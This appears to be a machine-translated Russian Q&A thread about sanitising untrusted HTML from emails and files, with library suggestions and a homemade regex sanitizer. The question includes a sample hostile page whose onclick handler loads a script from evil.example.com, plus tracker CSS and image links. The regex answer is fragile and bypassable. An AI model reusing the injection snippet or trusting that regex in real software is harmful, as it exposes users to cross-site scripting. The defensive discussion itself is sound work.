Что я могу использовать для очистки полученного HTML с сохранением базового форматирования?

Это общая проблема, я надеюсь, что она была полностью решена для меня.

В системе, которую я делаю для клиента, мы хотим принимать HTML из ненадежных источников (электронная почта в формате HTML, а также файлы HTML), очищать его, чтобы в нем не было сценариев, ссылок на внешние ресурсы и других средств безопасности / и т.п. проблемы; а затем отобразить его безопасно, не теряя при этом базового форматирования. Например, так же, как почтовый клиент будет делать с электронной почтой в формате HTML, но в идеале, без повторения 347 821 ошибок, которые были допущены (до сих пор) в этой области.:-)

Цель состоит в том, чтобы в конечном итоге получить что-то, что было бы удобно отображать внутренним пользователям через iframe в нашем собственном веб-интерфейсе или через класс WebBrowser в приложении.Net Windows Forms (которое кажется не безопаснее, возможно, менее) и т. д. Пример ниже.

Мы понимаем, что отчасти это может испортить отображение текста; это нормально.

Мы будем очищать HTML при получении и хранить очищенную версию (не беспокойтесь о части хранилища - SQL-инъекция и т. П. - у нас есть этот бит покрыт).

Программное обеспечение должно будет работать на Windows Server. COM DLL или сборка.Net предпочтительнее. FOSS заметно предпочтительнее, но не нарушитель соглашения.

Что я нашел до сих пор:

  • Проект AntiSamy.Net (но он, похоже, больше не находится в стадии активной разработки, более чем на год отставая от основного и активного Java-проекта AntiSamy).
  • Некоторый код от нашего собственного Джеффа Этвуда, около трех лет назад (ну и дела, мне интересно, что он делал...).
  • HTML Agility Pack (используемый выше в проекте AntiSamy.Net), который даст мне надежный анализатор; тогда я мог бы реализовать свою собственную логику, чтобы пройтись по полученному DOM и отфильтровать все, что я не внес в белый список. Пакет для ловкости выглядит действительно великолепно, но я бы полагался на свой собственный белый список, а не на повторное использование колеса, которое кто-то уже изобрел, так что это не так.
  • Библиотека Microsoft Anti-XSS

Что бы вы порекомендовали для этой задачи? Один из вышеперечисленных? Что-то другое?


Например, мы хотим удалить такие вещи, как:

  • script элементы
  • link, imgи такие элементы, которые обращаются к внешним ресурсам (вероятно, заменить img с текстом "[изображение удалено]" или что-то подобное)
  • embed, object, applet, audio, videoи другие теги, которые пытаются создать объекты
  • onclick и аналогичный код сценария обработчика событий DOM0
  • hrefна a элементы, которые запускают код (даже ссылки, которые мы считаем нормальными, мы вполне можем превратить в открытый текст, который пользователи должны намеренно копировать и вставлять в браузер).
  • __________ (722 вещи, о которых я не думал, являются причиной, по которой я стремлюсь использовать то, что уже существует)

Так, например, этот HTML:

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>

станет

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>

(Обратите внимание, мы удалили link и onclick полностью, и заменил img с заполнителем. Это всего лишь небольшая часть того, что, по нашему мнению, нам нужно удалить.)

5 ответов

Это более старый, но все еще актуальный вопрос.

Мы используем библиотеку HtmlSanitizer.Net, которая:

Также на NuGet

Я чувствую, что вам определенно понадобится парсер, который может генерировать исходный код XML/DOM, чтобы вы могли применить к нему приспособление для создания того, что вы ищете.

Посмотрите, могут ли помочь анализаторы HtmlTidy, Mozilla или HtmlCleaner. HtmlCleaner имеет множество настраиваемых параметров, которые вы также можете посмотреть. В частности, раздел преобразования, который позволяет пропустить теги, которые вам не нужны.

Я бы предложил использовать другой подход. Если вы контролируете метод просмотра HTML-кода, я бы удалил все угрозы с помощью HTML-рендера, в котором нет механизма сценариев ECMA или каких-либо возможностей XSS. Я вижу, что вы собираетесь использовать встроенный объект WebBrowser, и совершенно справедливо, что вы хотите создавать HTML, который нельзя использовать для атаки на ваших пользователей.

Я рекомендую поискать базовый движок отображения HTML. Тот, который не может разобрать или понять любую из функций сценариев, которые сделали бы вас уязвимыми. Тогда весь javascript будет просто проигнорирован.

Это имеет еще одну проблему, хотя. Вы должны убедиться, что используемый вами просмотрщик не подвержен другим типам атак.

Я предлагаю посмотреть на http://htmlpurifier.org/. Их библиотека довольно полная.

Интересная проблема, я потратил некоторое время на ее решение, потому что есть много вещей, которые мы хотим удалить из пользовательского вклада, и даже если я сделаю длинный список вещей, которые нужно удалить, последнее в HTML может эволюционировать, и в моем списке будут некоторые дыры, Тем не менее, я хочу, чтобы пользователи вводили некоторые простые вещи, такие как жирный шрифт, курсив, абзацы... prety simple. Нет сомнений в том, что список разрешенных вещей короче, и html может изменить его на последний, что не сделает пробелы в моем списке, если html stop не поддерживает эти простые вещи. Так что начните думать иначе, просто скажите, что вы разрешаете, с большой болью, потому что я не эксперт по регулярным выражениям (поэтому, пожалуйста, некоторые регулярные выражения исправляют меня здесь или улучшают), я закодировал это выражение и его рабочую форму мне еще до появления HTML5.

replace(/(?!<[/]?(b|i|p|br)(\s[^<]*>|[/]>|>))<[^>]*>/gi,"")

(b | i | p | br) <- это список разрешенных тегов, не стесняйтесь добавлять некоторые.

это отправная точка, и поэтому некоторые люди с регулярными выражениями должны улучшить, чтобы удалить также атрибуты, такие как onclick

если я сделаю это:

(?!<[/]?(b|i|p|br)(\s*>|[/]>|>))<[^>]*>

теги с onclick или другим материалом будут удалены, но соответствующие закрывающие теги останутся, и, в конце концов, мы не хотим, чтобы эти теги были удалены, мы просто хотим удалить атрибуты тегов.

может быть, второй проход регулярного выражения с

(?!<[^<>\s]+)\s[^</>]+(?=[/>])

я прав? это может быть составлено в один проход?

у нас до сих пор нет связи между тегами (открытие / закрытие), пока что ничего особенного. Может ли атрибут удалить быть записать, чтобы удалить все не из белых списков? (возможно, да).

последняя проблема.. при удалении тегов, таких как сценарий, содержимое остается, желательно при удалении шрифта, но не сценария, мы можем сделать первый проход с

<(script|object|embed)[^>]*>.*</\1>

это удалит определенные теги и их содержимое... но это черный список, что означает, что вы должны следить за ним в случае изменения HTML.

примечание: все с "ги"

редактировать:

присоединился ко всему вышесказанному по этой функции

String.prototype.sanitizeHTML=function (white,black) {
   if (!white) white="b|i|p|br";//allowed tags
   if (!black) black="script|object|embed";//complete remove tags
   e=new RegExp("(<("+black+")[^>]*>.*</\\2>|(?!<[/]?("+white+")(\\s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>\\s]+)\\s[^</>]+(?=[/>]))", "gi");
   return this.replace(e,"");
}

-черный список -> полное удаление тега и содержимого -белый список -> сохранение тегов, другие теги удаляются, но содержимое тега сохраняется, все атрибуты тегов белого списка (оставшиеся) удаляются

Тем не менее, есть место для белого списка атрибутов (не реализованного выше), потому что если я хочу сохранить IMG, тогда src должен остаться... а как насчет отслеживания изображений?

Другие вопросы по тегам